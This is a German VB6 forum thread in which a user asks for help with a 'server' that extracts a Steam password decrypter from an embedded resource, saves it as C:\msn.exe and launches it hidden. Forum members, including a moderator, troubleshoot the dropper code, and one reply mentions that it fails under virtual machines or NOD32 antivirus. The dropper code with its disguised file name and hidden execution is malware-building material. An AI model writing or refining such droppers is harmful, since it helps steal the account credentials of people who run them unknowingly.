Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
BadboyGER_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.10.2007
Beiträge: 67

Fehler beim Entpacken
Verfasst am: 26.03.2008, 15:07

Also ich öffne den Server , er entpackt den Decrypter aus der RES Datei und soll ihn ausführen. Das macht er auch nur der Decrypter ist beschädigt wenn ich ihn aus der RES Datei entpacken lasse... Hat einer eine Idee was das für ein Fehler sein könnte... ?

MfG.
BadboyGER
 
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202


Verfasst am: 26.03.2008, 15:10

Hast du die Res Datei vllt vor dem einbinder gedreht ?
Oder hast du die Res datei nicht vor dem einbinden gedreht aber hast in deinem code geschrieben, dass er die RES drehen soll?
 
BadboyGER_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.10.2007
Beiträge: 67


Verfasst am: 26.03.2008, 15:17

Ich weis leider nicht was du mit Drehen meinst ... Sry ... -.-

EDIT // :

Zur Info der Decrypter ist für STeam Accs er heist :

steampwd_upx_save2file.exe . Ich glaube er basiert auf DoS Codes..

Immer wenn ich die entpackte steampwd_upx_save2file.exe öffne steht im
DoS fenster ganz Kurz :

Nicht genügend Virtuellerarbeitsspeicher.

Bei ein Paar Kollgegen steht das auch..
 
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202


Verfasst am: 26.03.2008, 15:43

ja dann darfst du da steil nicht aufa VM oda Virtual PC oda NOD32 ... staten ...

und wenn du nicht weißt wad rehen heißt, guck mal in der sufu, da hab ich mal nachgefragt wie mand as macht und ZIG hats super erklärt!
 
BadboyGER_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.10.2007
Beiträge: 67


Verfasst am: 26.03.2008, 17:32

Ok ich werd mal suchen ... Hoffe aber auf weitere Antworten
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 26.03.2008, 17:36

Poste einfach mal den code wie du die res entpackst.

Und hast du die entpackte res mit der originalen mal genau verglichen?
Dann müßtest du ja ungefähr wissen was falsch gemacht wird.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
BadboyGER_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.10.2007
Beiträge: 67


Verfasst am: 26.03.2008, 17:40

Ok hier der Code für das Entpacken :

Code:
Dim FF As Integer, sPath As String, bRes() As Byte

bRes = LoadResData(101, "CUSTOM") ' <- Dort Resource ID
sPath = "C:\msn.exe" ' <- Pfad zum SPeicherort + Datei
FF = FreeFile
'Dort wird der Decrypter geöffnet über die Shell ( DOS )
Open sPath For Binary As #FF
Put #FF, , bRes
Close #FF
Shell ("C:\msn.exe"), vbHide

 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425


Verfasst am: 26.03.2008, 17:49

Ich liebe es, wenn Leute meine Variablennamen benutzen. Smile
Am Code kann ich grad keinen Fehler finden. Resource ist mit der richtigen ID eingefügt?
 
BadboyGER_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.10.2007
Beiträge: 67


Verfasst am: 26.03.2008, 17:51

Ja ResId ist richtig weil es nur 1 Datei in der Res gibt.
ABer daa steht ja etwas von : Nicht genügend Abrbeitsspeicher als fheler im Entpackten Decrypter... Vlt liegt es daran das es i wie nciht in RES Dateien eingebunden werden darf .... Hoffe ihr helft mir weiter ...

MfG.
BadboyGER
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 26.03.2008, 17:53

Zitat:
Und hast du die entpackte res mit der originalen mal genau verglichen?


Beantworte das bitte.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425


Verfasst am: 26.03.2008, 17:54

Nein denke ich nicht. Probier mal diesen Code und sag mir ob der Error vor oder nach der MsgBox kommt.

Code:
Dim FF As Integer, sPath As String, bRes() As Byte

bRes = LoadResData(101, "CUSTOM") ' <- Dort Resource ID
sPath = "C:\msn.exe" ' <- Pfad zum SPeicherort + Datei
FF = FreeFile
'Dort wird der Decrypter geöffnet über die Shell ( DOS )
Open sPath For Binary As #FF
Put #FF, , bRes
Close #FF
MsgBox "Blub"
Shell ("C:\msn.exe"), vbHide

 
BadboyGER_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.10.2007
Beiträge: 67


Verfasst am: 26.03.2008, 18:04

@ ZiG
Ich habs mal verglichen meiner ansicht nach ist die Orignal Datei genau gleich...

@ c0re
Es kommt ja kein Error. Nur wenn ich die ENpackte datei manuell öffne sehe ich ganz kurz in einer DoS-Box / Fenster die Naricht : Nicht genügend Virtueller Arbeitsspeicher.
ALs wäre die EXE Datei beschädigt worden.
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425


Verfasst am: 26.03.2008, 18:08

Vor dem Einbinden funktioniert das Tool aber?
 
BadboyGER_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.10.2007
Beiträge: 67


Verfasst am: 26.03.2008, 18:35


Ja vor dem Entpacken funktioneirt die Datei Prima
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: res datei, datei entpacken, decrypter, fehler

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge CSS server connecten 862 18.06.2007, 17:32
Keine neuen Beiträge Multi User Chat Server Rückantwort! 979 13.06.2007, 17:38
Keine neuen Beiträge Server - Client 745 09.06.2007, 22:25
Keine neuen Beiträge Server BIuld Funtkion 536 19.05.2007, 23:41
Keine neuen Beiträge Server und client? 558 12.04.2007, 10:51
 


[ Time: 0.0795s ][ Queries: 119 (0.0340s) ][ GZIP on - Debug on ]